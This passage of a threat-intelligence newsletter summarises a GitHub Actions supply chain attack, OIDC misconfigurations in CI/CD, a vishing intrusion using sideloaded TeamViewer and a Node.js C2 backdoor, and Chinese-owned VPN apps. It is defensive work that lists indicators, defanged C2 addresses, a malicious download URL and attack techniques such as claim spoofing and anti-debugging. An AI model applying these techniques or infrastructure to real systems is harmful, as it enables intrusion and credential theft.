The Feed 2025-04-07

AI Generated Podcast

Spotify

Summarized Stories

• GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment (Updated 4/2): This article provides an update to to the sophisticated software supply chain attack that initially targeted Coinbase but expanded to compromise the tj-actions/changed-files and reviewdog GitHub actions, impacting thousands of repositories by exploiting vulnerabilities in CI/CD pipelines and GitHub’s features.

• OH-MY-DC: OIDC Misconfigurations in CI/CD: This article analyzes OpenID Connect (OIDC) misconfigurations in Continuous Integration/Continuous Delivery (CI/CD) environments, highlighting threats arising from loosely configured policies, reliance on user-controllable claim values, and poisoned pipeline execution.

• Signed. Sideloaded. Compromised!: This blog post describes a multi-stage attack observed by Ontinue’s Cyber Defence Centre that used vishing, remote access tools like Quick Assist and TeamViewer, signed binaries, and living-off-the-land techniques to compromise a system with a JavaScript-based C2 backdoor.

• TTP - Apple Offers Apps With Ties to Chinese Military: This report investigates the availability of popular VPN apps in Apple’s App Store that have undisclosed ties to companies based in mainland China or Hong Kong, raising concerns about user privacy and data security.

• The Long and Short(cut) of It: KoiLoader Analysis: This eSentire Threat Response Unit analysis details a recent intrusion attempt involving a shortcut file that led to the loading of a new version of KoiLoader, a malware loader that facilitates command and control and downloads the Koi Stealer information stealer.

GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment (Updated 4/2)

Summary

A sophisticated, multi-stage software supply chain attack commenced in November 2024, initially targeting Coinbase before expanding to compromise the widely used GitHub Actions tj-actions/changed-files and several actions within the reviewdog organization. This incident highlights the significant risks associated with relying on third-party components in software development pipelines, as attackers leveraged compromised credentials and GitHub features like forking and tagging to inject malicious code into CI/CD workflows. The attack led to the exposure of sensitive secrets from thousands of repositories, underscoring the potential for unauthorized access, data breaches, and code tampering in the software supply chain. While Coinbase’s targeted systems did not suffer damage, the widespread compromise of tj-actions/changed-files, used by over 23,000 repositories, represents a major software supply chain incident. Check the previous Blog Posts relating to this complex supply chain attack:

The-Feed_2025-03-19
The-Feed_2025-03-24

Technical Details

The attack unfolded in multiple phases, demonstrating a sophisticated understanding of GitHub’s architecture and CI/CD processes. The initial access was gained by compromising the GitHub Actions workflow of SpotBugs, a static analysis tool. This lateral movement allowed the attackers to eventually gain access to the reviewdog organization.

The compromise of reviewdog began with the theft of a Personal Access Token (PAT) belonging to a reviewdog maintainer (RD_MNTNR). This PAT was inadvertently exposed after the maintainer temporarily added it as a secret to a workflow in the spotbugs/sonar-findbugs repository on November 28, 2024, to overcome CI/CD issues. On December 6, 2024, attackers exploited a malicious pull request leveraging the pull_request_target trigger in spotbugs/sonar-findbugs to leak this PAT. The pull_request_target trigger allowed a workflow from a fork to access repository secrets, leading to a poisoned pipeline execution (PPE).

Armed with RD_MNTNR’s PAT, the attackers compromised reviewdog/action-setup. They utilized a now-deleted GitHub user, iLrmKCu86tjwp8, to fork the repository on March 11, 2025, and introduced malicious commits within the fork. These “shadow commits” were then referenced by pushing a new “v1” tag in the original reviewdog/action-setup repository, effectively pointing the tag to the malicious code originating from the fork. This manipulation of git tags is notable because tag changes in the free tier of GitHub are not recorded in the audit log, aiding in stealth.

The compromised reviewdog/action-setup action is a dependency of tj-actions/eslint-changed-files, which in turn is used by tj-actions/changed-files. When workflows using tj-actions/changed-files executed, the malicious code in the compromised dependency was also run. This execution led to the leakage of a PAT belonging to the tj-bot-actions GitHub user account, which had write permissions to the tj-actions/changed-files repository.

Using this stolen PAT, the attackers injected a malicious commit (0e58ed8) into tj-actions/changed-files around March 10-14, 2025. This was done by impersonating the renovate[bot] user within a legitimate pull request that was automatically merged. The malicious commit contained a Base64-encoded payload designed to dump the CI/CD runner’s memory, exposing sensitive environment variables and secrets directly to the workflow logs. Subsequently, the attacker overrode all existing git tags in the tj-actions/changed-files repository, making them point to this malicious commit, thus impacting every GitHub workflow run that depended on this action.

The investigation also revealed a targeted attack on Coinbase’s open-source project, agentkit. Prior to the widespread tj-actions/changed-files compromise, from March 12-14, 2025, the attacker used two other now-deleted users, 2ft2dKo28UazTZ and mmvojwip, to fork and interact with several Coinbase repositories, particularly agentkit. The user 2ft2dKo28UazTZ experimented with modifying the .github/workflows/changelog.yml file in its fork of coinbase/agentkit, which used version v39 of tj-actions/changed-files. Notably, this changelog.yml file was later deleted by a Coinbase maintainer following a security report.

Further analysis uncovered a specific malicious commit (6e6023c) in tj-actions/changed-files, introduced via a fork by mmvojwip, that contained code specifically targeting the coinbase/agentkit repository. This commit checked if the GITHUB_REPOSITORY_OWNER environment variable was either “coinbase” or “mmvojwip” before executing a script to collect credentials. Workflow logs from coinbase/agentkit confirmed that this malicious SHA was indeed pulled and executed on March 14, 2025, with write-all permissions, although the attack was ultimately unsuccessful in causing damage.

The attacker utilized several stealth techniques, including the use of disposable GitHub accounts, leveraging forked repositories to introduce “shadow commits,” impersonating legitimate users (commit impersonation), and exploiting the lack of audit logging for git tag changes in free-tier GitHub organizations. The initial compromise of the spotbugs maintainer’s PAT through a PPE attack also highlights the dangers of the pull_request_target trigger.

Industries

The initial target was a cryptocurrency exchange (Coinbase). The widespread compromise affected a broad range of software development projects utilizing the tj-actions/changed-files GitHub Action, potentially spanning various industries.

Recommendations

• Identify usage: Search for the tj-actions/changed-files action and actions belonging to the reviewdog organization in your repositories to determine if they have been used.
• Review workflow logs: Examine past workflow runs for evidence of secret exposure, particularly if logs are public and look for Base64 encoded text that might contain dumped memory.
• Rotate secrets: Revoke and regenerate any credentials (API keys, access tokens, deployment credentials) that may have been exposed.
• Investigate malicious activity: If there are signs that the compromised actions were executed, investigate further for any indicators of unauthorized access or code tampering.
• Govern third-party services in use: Implement vetting procedures to ensure external actions receive approval before being integrated into workflows.
• Implement strict Pipeline-Based Access Controls (PBAC): Reduce the permissions granted to GitHub Actions workflows to the minimum necessary. Use fine-grained and short-lived tokens instead of long-term, broadly scoped secrets.
• Pin GitHub actions: Instead of referencing actions by tag or branch (e.g., @v3 or @main), pin actions to a full-length commit SHA-1 hash to ensure the code cannot be changed by a malicious actor.
• Learn more about CI/CD security risks: Refer to resources like the OWASP Top 10 CI/CD Security Risks project.
• Use verified actions: Prioritize using GitHub Actions from verified creators.
• Organizations should consider restricting allowed actions: GitHub allows restricting allowed actions solely to Enterprise actions, preventing the execution of external, potentially compromised actions.
• Avoid excessive GitHub Actions pipeline permissions: Define the minimum required permissions in the pipeline’s YAML file and avoid using read-all or write-all permissions to limit the impact of potential token leakage.
• Replace long-term credentials with short-lived access tokens using OpenID Connect (OIDC) for cloud provider authentication: This reduces the risk associated with stolen long-term credentials.
• Palo Alto Networks customers using Prisma Cloud or Cortex Cloud: Can leverage these platforms to identify the usage of vulnerable actions and implement policies to protect against associated risks. Specifically, look for “Unpinned GitHub actions,” “Unrestricted usage of GitHub actions allowed in the repository/across the organization,” and “Excessive GitHub actions pipeline permissions on the repository” policies.

Hunting methods

• Search for usage of compromised actions: Look for tj-actions/changed-files and actions within the reviewdog organization in GitHub workflow files (.github/workflows/).

  The provided GitHub query can be used to find references to the affected GitHub Actions in an organization’s repositories:

    org:<yourorg> (reviewdog/action-setup@v1 
    OR reviewdog/action-shellcheck 
    OR reviewdog/action-composite-template 
    OR reviewdog/action-staticcheck 
    OR reviewdog/action-ast-grep 
    OR  reviewdog/action-typos) 
    AND secrets. language:yaml path:/^\.github\/workflows\//
  

  Logic: This query searches within files under the .github/workflows/ directory (where GitHub Actions workflows are defined) for the specified compromised actions from the reviewdog organization. It also looks for the keyword “secrets” within these files, which might indicate where secrets are being used in conjunction with the vulnerable actions. Replacing <yourorg> with the actual GitHub organization name will scope the search to that organization.

• Examine workflow logs for potential secret leaks: Search for patterns indicative of memory dumps or exposed secrets. Pay close attention to Base64 encoded strings that might contain sensitive information.
  • Logic: The attacker injected a payload that dumped memory and printed it to the logs, sometimes Base64 encoded. Detecting such patterns can indicate a potential compromise.
• Look for unexpected modifications in repositories: Investigate commit history for unusual commits from unfamiliar or recently added users, especially around the timeframe of the attack (March 2025).
  • Logic: The attackers used disposable accounts and commit impersonation, so identifying unexpected contributions can reveal malicious activity.
• Monitor audit logs for unusual permission changes: Look for instances of new users being added to repositories or changes in access control, particularly around March 11, 2025, for spotbugs and reviewdog.
  • Logic: The attacker added a malicious user to spotbugs to push the initial secret-leaking workflow.

IOC

Hashes

0e58ed8671d6b60d0890c21b07f8835ace038e676
b833eecdf13c615cd60d5dede6f6593a4b3b4376
f0d342
f5434e3
6e6023c01918b353229af0881232f601a4cc8365
fbc2c5ebe64389f297a7808025379f77133f1292
e1e36574b3af1ddaab74f5e69505d8836bf12f52
ce4a123414f9fffa959d1f329c4749da83c4bf10
c17ac4b5c1cb901a7ccddf00ac9722b8e2725345
8d73381

GitHub Users (Deleted)

iLrmKCu86tjwp8
jurkaofavak
randolzfow
2ft2dKo28UazTZ
mmvojwip

Compromised GitHub Actions/Organizations

tj-actions/changed-files
reviewdog/action-setup
reviewdog/action-typos
tj-actions/eslint-changed-files
reviewdog
spotbugs/spotbugs
spotbugs/sonar-findbugs

Targeted GitHub Repositories (Coinbase)

coinbase/agentkit
coinbase/onchainkit
coinbase/x402

Malicious Git Tags

v1 (in reviewdog/action-setup, pointing to b833eecd)
v39 (fiddled with by 2ft2dKo28UazTZ in tj-actions/changed-files)
v47 (fiddled with by 2ft2dKo28UazTZ in tj-actions/changed-files)
All tags in tj-actions/changed-files were eventually overwritten to point to 0e58ed8
nightly-20250311 (experimented with by 2ft2dKo28UazTZ in coinbase/agentkit fork)

Original link: https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/

OH-MY-DC: OIDC Misconfigurations in CI/CD

Summary

Unit 42 researchers investigated the use of OpenID Connect (OIDC) in Continuous Integration and Continuous Deployment (CI/CD) environments and identified several problematic implementation patterns that could be exploited by threat actors to gain unauthorized access to restricted resources. The research highlights critical security risks stemming from OIDC misconfigurations, especially concerning CI/CD pipelines. OIDC, an extension of OAuth, is crucial for secure authentication and authorization in modern cloud workflows. However, the study reveals three key threat vectors: loosely configured identity federation policies, reliance on user-controllable claim values, and the potential to combine poisoned pipeline execution (PPE) with permissive identity federation. The dual role of CI/CD vendors as both runner provisioners and Identity Providers (IdPs) introduces unique security considerations, making the authorization phase particularly vulnerable to misconfigurations. These misconfigurations can allow attackers to bypass authentication and gain access to sensitive cloud resources and back-office systems, even from seemingly low-risk repositories. The article underscores the importance of strong OIDC policies, strict claim validation, and enhanced CI/CD security practices. Palo Alto Networks’ Cortex Cloud and Prisma Cloud offer protection against these threats. CircleCI addressed a specific vulnerability in their OIDC implementation related to fork-based pull requests. Overall, the research emphasizes the need for organizations to carefully configure and regularly audit their OIDC implementations in CI/CD environments to prevent potential security breaches. No specific IOCs are mentioned in the article.

Technical Details

The research paper delves into the technical aspects of OIDC and its implementation within CI/CD pipelines, highlighting several critical misconfigurations that can be exploited by threat actors. OIDC extends the OAuth protocol by introducing an ID token, a JSON Web Token (JWT) containing claims about the authenticated identity. These claims are verified by the identity federation policy at the resource level to authorize access. In CI/CD environments, the CI/CD vendor often acts as the IdP, issuing signed ID tokens to the ephemeral CI runners when a workflow is triggered. This passwordless interaction between CI machines and cloud resources aims to mitigate credential leaks.

OIDC Misconfiguration #1: Missing or Permissive Identity Federation Policies: This occurs when the policies that validate the claims in the ID token are either absent or fail to enforce meaningful checks. Examples include accepting any value for the aud (audience) claim or merely asserting the existence of a sub (subject) claim without further validation. Similarly, validating claims that are always true within the context, such as checking if the sub claim starts with a specific prefix when all tokens from that issuer inherently have this prefix, offers no real security.

TTP: Threat actors can exploit lax federation policies by leveraging Poisoned Pipeline Execution (PPE) vulnerabilities in a CI/CD pipeline. Even a pipeline in a seemingly low-risk repository can be compromised via Remote Code Execution (RCE) to obtain OIDC tokens. If the federation policy for a critical resource is overly permissive (e.g., accepting a broad sub claim pattern like repo:my_org/*), an attacker with a token from the compromised low-risk repository whose sub claim matches the pattern can gain unauthorized access to the sensitive resource.

OIDC Misconfiguration #2: User Side - Relying on User-Input Claims: This dangerous misconfiguration involves trusting claims in the OIDC token whose values are controlled by end users. For instance, in GitHub Actions, the workflow claim’s value is derived from the workflow filename, which can be freely chosen by any user. Basing authorization decisions on such claims allows attackers to essentially define their own permissions. Other examples include trusting the branch name (ref claim) or the environment name, as attackers can manipulate these values to match privileged access patterns. While these claims are valid and signed by the IdP (e.g., GitHub), their user-controllable nature makes them unsafe for critical security decisions.

TTP: An attacker could create a workflow or branch with a name that aligns with a permissive identity federation policy that trusts the workflow or ref claim. This allows them to obtain an OIDC token with a claim value that satisfies the policy, granting them unauthorized access to protected resources. Similarly, a predictable or user-controllable aud value can be spoofed to bypass authentication checks.

OIDC Misconfigurations #3: Risks of Custom Sub Claims: Some platforms allow users to customize the sub claim using other ID token claims. While intended for flexibility and granular control, this feature can introduce security risks if not handled carefully.

TTP: If a custom sub claim is constructed using user-controllable claims (e.g., only the workflow claim), it inherits the vulnerabilities of relying on user-input claims. Furthermore, the order of claims in the custom sub becomes critical. If a user-controllable claim is placed at the beginning, an attacker can craft a value that mimics a legitimate sub claim. For example, with a sub format of workflow:my_workflow:repo:org_name/repo_name, an attacker could create a workflow named my_workflow:repo:org_name/repo_name to generate a token with a sub that might be mistakenly considered legitimate if only the beginning is checked.

OIDC Misconfigurations #4: Vendor-Side Credential Handling: Misconfigurations on the CI/CD vendor’s side can also have significant security implications for customers. The example of CircleCI’s initial handling of fork-based pull requests illustrates this.

TTP: In the past, during fork pull requests on CircleCI, the CI environment would run in the context of the target repository. Consequently, CircleCI generated OIDC tokens containing the target repository’s identity and provided them to the fork’s workflow. This allowed the owner of the fork to obtain tokens with the same level of access as the target repository, enabling unauthorized access to any resources configured to trust these tokens. CircleCI has since addressed this by disabling OIDC token generation in fork workflows by default.

Recommendations

The article provides the following technical recommendations for organizations implementing OIDC in CI environments:

• Use repository-specific federation rules instead of broad, organization-wide patterns to limit the scope of potential breaches.
• Implement strict claim validation, paying close attention to claims that might be influenced or controlled by users.
• Regularly audit OIDC configurations, with a specific focus on identity federation policies and any custom claim formats being used.
• Follow general CI security best practices to prevent Poisoned Pipeline Execution (PPE) vulnerabilities that can be exploited in conjunction with lax OIDC policies.
• For users of GitHub’s custom sub claim feature, utilize the GitHub OIDC Utils tool to assess their sub claim format for potential misconfigurations.
• Be aware of potential vendor-side misconfigurations and stay informed about security advisories and best practices from your CI/CD vendor.
• CircleCI advises all customers to employ the best practices of managing identity and access roles outside of their environmental variables.

Hunting methods

The article mentions the GitHub OIDC Utils as a tool for assessing custom sub claim formats. The tool inspects the configured include_claim_keys for organizations and repositories to identify risky claims that attackers might abuse.

While no specific Yara, Sigma, KQL, or SPL queries are provided, threat hunters can develop strategies based on the described misconfigurations:

• Audit Identity Federation Policies: Review cloud provider IAM or identity federation configurations for overly permissive conditions. Look for policies that accept any aud claim, only check for the presence of a sub claim without specific patterns, or use broad wildcard patterns (e.g., in StringLike conditions on the sub claim) that might encompass unintended resources.
• Analyze Trust Relationships: Investigate which claims are being used in identity federation policies. Identify any reliance on user-controllable claims such as workflow, ref, or environment names in CI/CD platforms.
• Monitor Custom Sub Claim Configurations: If the CI/CD platform allows custom sub claims, examine the configuration to identify if user-controllable claims are included and the order in which claims are concatenated. Look for patterns where user-controlled claims appear at the beginning of the sub value.
• CI/CD Pipeline Security Audits: Conduct regular security audits of CI/CD pipelines to identify and remediate PPE vulnerabilities that could be exploited to obtain OIDC tokens.
• Log Analysis: Monitor logs for unusual access patterns to cloud resources, especially those authenticated via OIDC. Correlate access attempts with CI/CD pipeline activity to identify potential abuse of misconfigured OIDC policies.

The logic behind these hunting methods is to proactively identify configurations that deviate from security best practices and could be exploited by attackers as described in the research. Understanding the TTPs associated with each type of misconfiguration allows threat hunters to focus their efforts on the most critical areas.

Original link: https://unit42.paloaltonetworks.com/oidc-misconfigurations-in-ci-cd/

Signed. Sideloaded. Compromised!

Summary

This blog post from Ontinue’s Cyber Defence Centre details a sophisticated, multi-stage attack that leveraged vishing, remote access tools (Quick Assist and TeamViewer), and living-off-the-land techniques to achieve initial access and establish persistence. The attack began with a Microsoft Teams message delivering a malicious PowerShell payload, followed by the threat actor using Quick Assist for remote access. This led to the deployment of a signed TeamViewer binary, a sideloaded malicious DLL (TV.dll), and a JavaScript-based command and control (C2) backdoor executed via Node.js. The incident highlights the significant risk posed by social engineering, especially when combined with trusted tools and signed binaries, and underscores the importance of user training. The observed techniques show similarities to those attributed to the threat actor Storm-1811.

Technical Details

The attack commenced with a vishing-based social engineering tactic. The threat actor initiated contact via Microsoft Teams, creating an external chat with the target and transmitting a malicious PowerShell command directly within the Teams message. Subsequently, the threat actor utilized the legitimate Quick Assist remote support tool to gain initial remote access to the compromised environment. This access was facilitated after the target user was successfully “vished” into deploying the initial PowerShell payload.

Analysis of the PowerShell command revealed that it was designed to download a ZIP archive named “a.zip” from the suspicious IP address hxxp://5.252.153[.]244/download?path=f to the C:\ProgramData\ directory. The PowerShell script set the User-Agent header to “AutoHotkey”, suggesting potential involvement of AutoHotkey-based malware. After downloading, the script extracted the contents of the ZIP file to a concealed directory C:\ProgramData\TV\ and executed a file named TeamViewer.exe.

The executed TeamViewer.exe (SHA256: 904280f20d697d876ab90a1b74c0f22a83b859e8b0519cb411fda26f1642f53e) is a signed binary. Upon execution, this legitimate TeamViewer executable sideloaded a malicious DLL named TV.dll (SHA256: 782e997382734a4c80b6f2c6aef51a55c9434457f5ee125a3cf5938ec7a72f55). This sideloaded DLL re-established a connection to the same IP address used for downloading the initial malware, 5.252.153[.]244. Analysis of TeamViewer.exe showed that it dynamically resolved the LoadLibraryW function at runtime via an indirect loading mechanism (“FUN_004be74b”) to load TV.dll. A breakpoint placed on LoadLibraryW confirmed the dynamic loading of TV.dll. The TV.dll then executed its code via a TLS callback prior to DLLMain.

Following the DLL sideloading, the malware established persistence by creating a LNK (shortcut) file named GPU_Scv_Pack.lnk in the C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ folder. This LNK file was created by TeamViewer.exe and pointed back to C:\ProgramData\TV\TeamViewer.exe, ensuring execution upon system reboot.

The TeamViewer.exe process also attempted to terminate nine specific processes, likely to disable or evade security tools (T1562.001 - Disable or Modify Tools).

The threat actor also established a BITS (Background Intelligent Transfer Service) job (T1197) using cmd.exe. BITS jobs can be used for stealthy data transfers or staging and can persist for up to 90 days.

Further analysis revealed process injection activity (T1055). PowerShell initiated the PING.exe process, which then employed process hollowing techniques to inject malicious code into dllhost.exe (T1055). The injected dllhost.exe then created a file containing PsExec.exe (T1021 - Remote Services), which was a new file observed on the system, suggesting preparation for lateral movement. PsExec was later utilized for potential data exfiltration over SMB (T1090 - C2 via Reverse Proxy).

The threat actor performed system reconnaissance using built-in Windows tools. nltest.exe was invoked via cmd.exe for domain and network reconnaissance, which can be used to enumerate domain controllers, query trust status, and test trust relationships (T1018 - Remote System Discovery, T1016 - System Network Configuration Discovery). Additionally, Windows Management Instrumentation (WMI) was used to gather system information and enumerate security products. WMI queries were observed to collect details about the operating system (Win32_OperatingSystem), processor (Win32_Processor), logical disks (Win32_LogicalDisk), video controller (Win32_VideoController - often used for VM detection), and network adapter configuration (Win32_NetworkAdapterConfiguration). Further WMI queries targeted security software by querying FirewallProduct, AntiSpywareProduct, and AntiVirusProduct.

The signed TeamViewer.exe also accessed browser saved passwords and login data (T1555.003 - Credentials from Web Browsers).

The final stage involved the deployment of a JavaScript-based C2 backdoor. During its operation, TeamViewer.exe created a compressed file named hcmd.zip. This archive contained 7-Zip and was used to extract hcmd.exe (which was originally Node.exe) and index.js. Executing hcmd.exe launched index.js, which contained the C2 backdoor. This backdoor utilizes the socket.io-client library to establish a persistent connection with a C2 server at IP address 5.252.153[.]81 on port 3000. The script also uses the node-cmd library to execute system commands remotely via a hidden cmd.exe process. The script contains hardcoded values, including a hardware ID (hwid = 'test298'), a password (password = 'AutoHotkey'), and the C2 server IP (serverIp = '5.252.153[.]81').

Analysis of TV.dll revealed anti-analysis techniques, including checks for the presence of a debugger using IsDebuggerPresent and IsProcessorFeaturePresent(0x17) (checks for Hardware Debug Registers). It also calls an internal function FUN_100bb403() which is likely another debugger check, clears memory using memset, sets up a fake exception record, and registers an UnhandledExceptionFilter to potentially disrupt debuggers. Additionally, TV.dll contains a function named “DetectVirtualisation” that performs CPU checks (using XGETBV(0) and CPUID instructions with opcodes 0 and 1) to identify virtualized environments by checking for the CPU vendor string (“GenuineIntel”) and comparing against known legitimate Intel CPU models.

TV.dll also implements inline hooking and unhooking capabilities using functions named MinHookDisabled and MinHookEnabled. These functions utilize VirtualProtect to modify memory permissions, allowing the malware to intercept and redirect function calls (hooking) or restore the original function bytes (unhooking), potentially to evade detection by endpoint detection and response (EDR) systems. The hooking mechanism supports both 32-bit and 64-bit architectures.

Countries

Not specified in the provided sources.

Industries

Not specified in the provided sources.

Recommendations

While the provided text focuses on the technical analysis, it highlights the importance of user training to mitigate social engineering threats like vishing. Organizations should educate users on the risks of interacting with unsolicited messages and granting remote access to untrusted parties.

Hunting methods

No specific hunting queries (Yara, Sigma, KQL, SPL, etc.) are provided in the excerpts. However, the technical details offer valuable information for developing hunting strategies:

• Monitor Microsoft Teams for external chats delivering PowerShell commands. Look for PowerShell processes initiated shortly after suspicious Teams activity.
• Detect the execution of TeamViewer.exe from unusual locations like C:\ProgramData\TV\. Legitimate TeamViewer installations typically reside in C:\Program Files\TeamViewer\.
• Alert on the loading of TV.dll by TeamViewer.exe, especially if the TV.dll has a known malicious hash (SHA256: 782e997382734a4c80b6f2c6aef51a55c9434457f5ee125a3cf5938ec7a72f55). Monitor for TeamViewer.exe loading DLLs with an empty “Original Filename” metadata field.
• Identify the creation of LNK files in the Startup folder (C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\) that point to executables in unusual locations like C:\ProgramData\TV\. Specifically, look for GPU_Scv_Pack.lnk.
• Detect attempts by TeamViewer.exe or other processes to terminate security-related processes.
• Monitor for the creation and execution of BITS jobs, particularly those originating from suspicious processes or involving unusual download sources.
• Identify instances of process injection involving PING.exe and dllhost.exe. Look for powershell.exe creating PING.exe, followed by PING.exe creating dllhost.exe with a hidden window.
• Alert on the execution of nltest.exe with command-line arguments indicative of domain reconnaissance.
• Monitor for WMI queries related to security product enumeration (FirewallProduct, AntiSpywareProduct, AntiVirusProduct) and system information gathering initiated by unusual processes.
• Detect TeamViewer.exe accessing browser history or saved credentials files (e.g., “login data”).
• Monitor for the creation and execution of hcmd.zip, 7-Zip, hcmd.exe, and index.js in the C:\ProgramData\TV\ directory.
• Detect network connections from compromised hosts to the C2 IP address 5.252.153[.]81 on port 3000. Monitor for outbound connections using the socket.io protocol.
• Look for processes (initially Node.exe renamed to hcmd.exe) with “AutoHotkey” in their User-Agent string during network requests.
• Monitor for the use of LoadLibraryW being resolved dynamically at runtime by suspicious executables.
• Implement detections for the anti-debugging techniques observed in TV.dll, such as calls to IsDebuggerPresent and IsProcessorFeaturePresent(0x17).
• Monitor for CPU checks indicative of virtual machine detection, such as those involving XGETBV(0) and specific CPUID comparisons.
• Detect the use of VirtualProtect to change memory permissions in conjunction with code manipulation, which could indicate hooking or unhooking activity.

IOC

Hashes

904280f20d697d876ab90a1b74c0f22a83b859e8b0519cb411fda26f1642f53e
782e997382734a4c80b6f2c6aef51a55c9434457f5ee125a3cf5938ec7a72f55
67199aaa4c7c9a7002958588b1bd1b81deecec871933f7c88d5838deb1c47e92
36745831161b0dbf8adbdcc66fcacddbf144c2d9277871c7709921d82233c9fe

IP Addresses

5.252.153[.]244
5.252.153[.]81

Original link: https://www.ontinue.com/resource/blog-signed-sideloaded-compromised/

TTP: Apple Offers Apps With Ties to Chinese Military

Summmary

An investigation by the Tech Transparency Project (TTP) revealed that a significant number of popular free Virtual Private Network (VPN) applications available on the U.S. Apple App Store are secretly owned by Chinese companies. This poses a considerable risk to the privacy and security of millions of American users, as these companies are legally obligated under China’s national security laws to provide user data to the Chinese government. The investigation identified that one in five of the top 100 free VPNs in the U.S. App Store in 2024 were surreptitiously controlled by Chinese entities. Several of these apps were traced back to Qihoo 360, a firm designated by the U.S. Department of Defense as a “Chinese Military Company” and previously sanctioned by the U.S. Commerce Department. The ownership of these VPN apps was often deliberately obscured through layers of offshore shell companies. These findings raise serious concerns about Apple’s commitment to user privacy and security, as its App Store guidelines prohibit VPN apps from selling or disclosing user data to third parties. The presence of these Chinese-owned VPNs, with the potential to collect and share user data with the Chinese government, directly contradicts these guidelines. Furthermore, some of these VPN apps have been advertised on platforms like Facebook and Instagram, targeting teenagers and users looking to circumvent the potential U.S. ban on TikTok. This situation highlights a potential blind spot in U.S. lawmakers’ focus on Chinese data collection risks, which has primarily centered on specific apps like TikTok, without sufficient attention to the broader category of VPN apps.

Technical Details

The TTP’s investigation methodology involved analyzing the top 100 most downloaded free VPN apps for iPhone and iPad in the U.S. during 2024, as ranked by AppMagic. For each app, they attempted to identify the developer’s location through information on the App Store page, privacy policies, and associated external websites. This often required tracing ownership through complex corporate structures and shell companies in jurisdictions like Singapore, the Cayman Islands, and Hong Kong. They examined corporate records globally to piece together the ownership information. A key finding was the significant presence of VPN apps with undisclosed ties to mainland China or Hong Kong. Notably, companies registered in Hong Kong, while having separate national security laws, often appeared to be shell companies operated by owners in mainland China.

The investigation revealed that several VPN apps, including Turbo VPN (ranked 13th), VPN Proxy Master (ranked 12th), Thunder VPN (ranked 60th), and Snap VPN (unranked), are part of a network linked to Innovative Connecting Pte. Ltd., a Singapore-registered company. TTP’s research showed that the sole shareholder of Innovative Connecting is Lemon Seed Technology Ltd. in the Cayman Islands, which was acquired by the Chinese cybersecurity firm Qihoo 360 in 2019. Qihoo 360 was sanctioned by the U.S. Commerce Department in 2020 due to concerns about its involvement in procuring technologies for military end-use in China and has been designated as a “Chinese military company” by the U.S. Department of Defense. Despite Qihoo 360 stating in a 2020 report that it sold “Project L” (which appears to include the app-related companies), corporate filings in 2025 still showed a common director, Chen Ningyi, across Lemon Seed, Lemon Clove, Autumn Breeze, and Innovative Connecting. Chen Ningyi’s name is also on a Qihoo patent, and he was identified as a general manager at Qihoo 360 in 2020. He also held a key position in a Qihoo subsidiary that was later sold, raising questions about ongoing influence.

Further investigation indicated that Qihoo 360 might have entered the app business through Guangzhou Quanyong Information Technology Co., Ltd. (possibly known as SpringTech in English), which developed apps within the Innovative Connecting network.

Other VPN apps were found to have links to China through Hong Kong-based shell companies. X-VPN (ranked 4th) lists its developer as Free Connected Limited in Hong Kong, but its ownership traces back to Chengdu Zhuozhuo Technology Co., Ltd. in mainland China. VPNIFY (ranked 25th) lists Neonetworks solution ltd. as its developer but has a Hong Kong address in its privacy policy, and its sole shareholder is a Chinese citizen. VPN Bucks (ranked 22nd, now removed) was linked to a dissolved Hong Kong company owned by a Chinese citizen and shared identical privacy policy passages with VPN Proxy Master. LinkWorldVPN (just outside the top 100, now removed) was developed by a Hong Kong company whose sole officer/shareholder is a Chinese citizen.

Some apps used companies outside China as fronts with ultimate Chinese control. WireVPN - Fast VPN & Proxy (ranked 23rd) listed a UK-based company as its developer, but its sole director with significant control is a Chinese national residing in China, and the company appeared to be a dormant shell. Its privacy policy also contained language mirroring Chinese government regulations on “harmful information”. A similarly named app, Wirevpn – Secure & Fast VPN (ranked 68th), listed a Belize-registered company but had an identical privacy policy. VPN Proxy OvpnSpider (ranked 36th) and Best VPN Proxy AppVPN (ranked 82nd) listed WCOMES TECHNOLOGIES CO., LIMITED, a Hong Kong company with mainland Chinese shareholders.

Several other VPN apps in the top 100 were linked to China through their developer information, privacy policies, or corporate records in Hong Kong and mainland China, including Ostrich VPN (ranked 5th), HulaVPN (ranked 38th), VPN Ⓟ (ranked 43rd, removed), Best V2ray (ranked 48th, removed), Alphaoo Net (ranked 51st, removed), SwiftLink VPN (ranked 78th, removed), Speedy Quark VPN (ranked 84th), Now VPN (ranked 86th), Incognito Net (ranked 87th, removed), and Pearl VPN (ranked 100th).

The tactics observed include:

• Obfuscation of Ownership: Using shell companies in various jurisdictions (Singapore, Cayman Islands, Hong Kong, UK, Belize) to conceal the ultimate Chinese ownership.
• Lack of Transparent Disclosure: Failing to clearly disclose Chinese ownership on the App Store or within the apps themselves.
• Exploitation of App Store Ecosystem: Leveraging Apple’s App Store to reach a large number of U.S. users despite potential security and privacy risks.
• Targeted Advertising: Using social media platforms like Facebook and Instagram, as well as search engines like Google, to advertise these VPN apps to specific demographics, including teenagers and individuals seeking to bypass potential bans on other Chinese apps like TikTok.
• Privacy Policy Alignment with Chinese Regulations: Some apps’ privacy policies contained language mirroring Chinese government censorship requirements.
• Connections to Sanctioned Entities: Several apps were directly linked to Qihoo 360, a U.S.-sanctioned “Chinese Military Company”.

Countries

• China
• United States
• Hong Kong
• Singapore
• Cayman Islands
• United Kingdom
• Belize
• France
• Belarus

Industries

• Technology (Mobile Applications, Software, Cybersecurity)
• Telecommunications

Recommendations

The report implicitly recommends that Apple take more rigorous steps to verify the ownership and data handling practices of VPN apps on its App Store to ensure user privacy and security. This includes scrutinizing corporate structures, especially those involving offshore entities, and enforcing its own guidelines regarding data disclosure by VPN services. The findings also suggest that U.S. lawmakers and regulatory bodies should broaden their scrutiny beyond specific high-profile Chinese apps like TikTok to include the wider category of VPN applications that could pose similar or even greater data security risks due to their ability to access all user internet traffic. Users should be aware of the risks associated with free VPN apps, particularly those with opaque or suspicious ownership, and understand the implications of China’s national security laws on companies operating within its jurisdiction.

Hunting methods

1. App Store Analysis: Security teams and individuals can manually or programmatically analyze the developer information and privacy policies of VPN apps in the Apple App Store. Look for:
   • Developers with generic-sounding names and addresses in Hong Kong or mainland China.
